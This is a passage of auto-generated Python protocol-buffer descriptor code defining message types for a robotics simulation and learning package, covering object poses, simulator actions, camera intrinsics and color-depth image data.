name='SendToClient',
full_name='robotics.learning.reach.SendToClient',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='uid', full_name='robotics.learning.reach.SendToClient.uid', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0052\003UID', json_name='uid', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tag', full_name='robotics.learning.reach.SendToClient.tag', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=14995,
serialized_end=15053,
)
_HISTORY = _descriptor.Descriptor(
name='History',
full_name='robotics.learning.reach.History',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='robotics.learning.reach.History.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='values', full_name='robotics.learning.reach.History.values', index=1,
number=2, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='history_start', full_name='robotics.learning.reach.History.history_start', index=2,
number=3, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='history_end', full_name='robotics.learning.reach.History.history_end', index=3,
number=4, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=15055,
serialized_end=15137,
)
_AUDIOREQUEST = _descriptor.Descriptor(
name='AudioRequest',
full_name='robotics.learning.reach.AudioRequest',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='text_cue', full_name='robotics.learning.reach.AudioRequest.text_cue', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=15139,
serialized_end=15171,
)
_SIMINSTANCESEGMENTATION = _descriptor.Descriptor(
name='SimInstanceSegmentation',
full_name='robotics.learning.reach.SimInstanceSegmentation',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='sim_ts', full_name='robotics.learning.reach.SimInstanceSegmentation.sim_ts', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='simTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='image_path', full_name='robotics.learning.reach.SimInstanceSegmentation.image_path', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='relation', full_name='robotics.learning.reach.SimInstanceSegmentation.relation', index=2,
number=3, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=15174,
serialized_end=15323,
)
_SIMSTATE = _descriptor.Descriptor(
name='SimState',
full_name='robotics.learning.reach.SimState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='sim_ts', full_name='robotics.learning.reach.SimState.sim_ts', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='simTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='object_state', full_name='robotics.learning.reach.SimState.object_state', index=1,
number=2, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=15325,
serialized_end=15446,
)
_OBJECTSTATE = _descriptor.Descriptor(
name='ObjectState',
full_name='robotics.learning.reach.ObjectState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='robotics.learning.reach.ObjectState.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0132\002IDb\005py_id', json_name='id', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='object_name', full_name='robotics.learning.reach.ObjectState.object_name', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pose_xyzxyzw', full_name='robotics.learning.reach.ObjectState.pose_xyzxyzw', index=2,
number=3, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='poseXYZXYZW', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='linear_vel', full_name='robotics.learning.reach.ObjectState.linear_vel', index=3,
number=4, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=15448,
serialized_end=15572,
)
_SIMACTION = _descriptor.Descriptor(
name='SimAction',
full_name='robotics.learning.reach.SimAction',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='get_all_object_poses', full_name='robotics.learning.reach.SimAction.get_all_object_poses', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='set_object_pose', full_name='robotics.learning.reach.SimAction.set_object_pose', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='delete_object', full_name='robotics.learning.reach.SimAction.delete_object', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='set_camera_intrinsics', full_name='robotics.learning.reach.SimAction.set_camera_intrinsics', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='add_object', full_name='robotics.learning.reach.SimAction.add_object', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='get_segmented_image', full_name='robotics.learning.reach.SimAction.get_segmented_image', index=5,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=15575,
serialized_end=15993,
)
_GETALLOBJECTPOSES = _descriptor.Descriptor(
name='GetAllObjectPoses',
full_name='robotics.learning.reach.GetAllObjectPoses',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=15995,
serialized_end=16014,
)
_SETOBJECTPOSE = _descriptor.Descriptor(
name='SetObjectPose',
full_name='robotics.learning.reach.SetObjectPose',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='robotics.learning.reach.SetObjectPose.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0132\002IDb\005py_id', json_name='id', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pose_xyzxyzw', full_name='robotics.learning.reach.SetObjectPose.pose_xyzxyzw', index=1,
number=2, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='poseXYZXYZW', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=16016,
serialized_end=16101,
)
_DELETEOBJECT = _descriptor.Descriptor(
name='DeleteObject',
full_name='robotics.learning.reach.DeleteObject',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='robotics.learning.reach.DeleteObject.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0132\002IDb\005py_id', json_name='id', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=16103,
serialized_end=16152,
)
_SETCAMERAINTRINSICS = _descriptor.Descriptor(
name='SetCameraIntrinsics',
full_name='robotics.learning.reach.SetCameraIntrinsics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='robotics.learning.reach.SetCameraIntrinsics.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0132\002IDb\005py_id', json_name='id', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='intrinsics', full_name='robotics.learning.reach.SetCameraIntrinsics.intrinsics', index=1,
number=2, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='near_clip', full_name='robotics.learning.reach.SetCameraIntrinsics.near_clip', index=2,
number=3, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='far_clip', full_name='robotics.learning.reach.SetCameraIntrinsics.far_clip', index=3,
number=4, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=16154,
serialized_end=16267,
)
_ADDOBJECT = _descriptor.Descriptor(
name='AddObject',
full_name='robotics.learning.reach.AddObject',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='robotics.learning.reach.AddObject.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0132\002IDb\005py_id', json_name='id', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='type', full_name='robotics.learning.reach.AddObject.type', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\tb\007py_type', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pose_xyzxyzw', full_name='robotics.learning.reach.AddObject.pose_xyzxyzw', index=2,
number=3, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='poseXYZXYZW', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=16269,
serialized_end=16381,
)
_GETSEGMENTEDIMAGE = _descriptor.Descriptor(
name='GetSegmentedImage',
full_name='robotics.learning.reach.GetSegmentedImage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='device_key', full_name='robotics.learning.reach.GetSegmentedImage.device_key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=16383,
serialized_end=16422,
)
_METADATA = _descriptor.Descriptor(
name='Metadata',
full_name='robotics.learning.reach.Metadata',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='comment', full_name='robotics.learning.reach.Metadata.comment', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='begin_file', full_name='robotics.learning.reach.Metadata.begin_file', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='end_file', full_name='robotics.learning.reach.Metadata.end_file', index=2,
number=3, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='real_time_logs', full_name='robotics.learning.reach.Metadata.real_time_logs', index=3,
number=4, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\360\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=16424,
serialized_end=16521,
)
_IOSTATE = _descriptor.Descriptor(
name='IOState',
full_name='robotics.learning.reach.IOState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='state', full_name='robotics.learning.reach.IOState.state', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\350\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=16523,
serialized_end=16597,
)
_CAPABILITYSTATE = _descriptor.Descriptor(
name='CapabilityState',
full_name='robotics.learning.reach.CapabilityState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='pin', full_name='robotics.learning.reach.CapabilityState.pin', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='int_value', full_name='robotics.learning.reach.CapabilityState.int_value', index=1,
number=2, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='float_value', full_name='robotics.learning.reach.CapabilityState.float_value', index=2,
number=3, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=16599,
serialized_end=16669,
)
_COLOR = _descriptor.Descriptor(
name='Color',
full_name='robotics.learning.reach.Color',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='color', full_name='robotics.learning.reach.Color.color', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='color_ssot_key', full_name='robotics.learning.reach.Color.color_ssot_key', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\006\030\001 \001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='color_intrinsics', full_name='robotics.learning.reach.Color.color_intrinsics', index=2,
number=3, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='color_data', full_name='robotics.learning.reach.Color.color_data', index=3,
number=4, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=b"",
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\006\030\001 \001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\340\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=16672,
serialized_end=16800,
)
_COLORDEPTH = _descriptor.Descriptor(
name='ColorDepth',
full_name='robotics.learning.reach.ColorDepth',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='color', full_name='robotics.learning.reach.ColorDepth.color', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='color_ssot_key', full_name='robotics.learning.reach.ColorDepth.color_ssot_key', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\006\030\001 \001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='color_intrinsics', full_name='robotics.learning.reach.ColorDepth.color_intrinsics', index=2,
number=3, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='depth', full_name='robotics.learning.reach.ColorDepth.depth', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='depth_ssot_key', full_name='robotics.learning.reach.ColorDepth.depth_ssot_key', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\006\030\001 \001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='depth_intrinsics', full_name='robotics.learning.reach.ColorDepth.depth_intrinsics', index=5,
number=6, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='upload_depth', full_name='robotics.learning.reach.ColorDepth.upload_depth', index=6,
number=7, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='uncompressed_depth', full_name='robotics.learning.reach.ColorDepth.uncompressed_depth', index=7,
number=8, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='compressed_depth', full_name='robotics.learning.reach.ColorDepth.compressed_depth', index=8,
number=9, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='color_data', full_name='robotics.learning.reach.ColorDepth.color_data', index=9,
number=10, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=b"",
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\006\030\001 \001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='depth_data', full_name='robotics.learning.reach.ColorDepth.depth_data', index=10,
number=11, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=b"",
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\006\030\001 \001X\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\340\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=16803,
serialized_end=17167,
)
_COMPRESSEDDEPTH = _descriptor.Descriptor(
name='CompressedDepth',
full_name='robotics.learning.reach.CompressedDepth',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='depth', full_name='robotics.learning.reach.CompressedDepth.depth', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='encodings', full_name='robotics.learning.reach.CompressedDepth.encodings', index=1,
number=2, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=17169,
serialized_end=17220,
)
_KEYVALUE = _descriptor.Descriptor(
name='KeyValue',
full_name='robotics.learning.reach.KeyValue',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='robotics.learning.reach.KeyValue.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='value', full_name='robotics.learning.reach.KeyValue.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='int_value', full_name='robotics.learning.reach.KeyValue.int_value', index=2,
number=3, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='float_value', full_name='robotics.learning.reach.KeyValue.float_value', index=3,
number=4, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\202\277\343\330\t\014KeyValueData',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=17222,
serialized_end=17320,
)
_MESSAGELASTTIMESTAMP = _descriptor.Descriptor(
name='MessageLastTimestamp',
full_name='robotics.learning.reach.MessageLastTimestamp',
filename=None,
file=DESCRIPTOR,
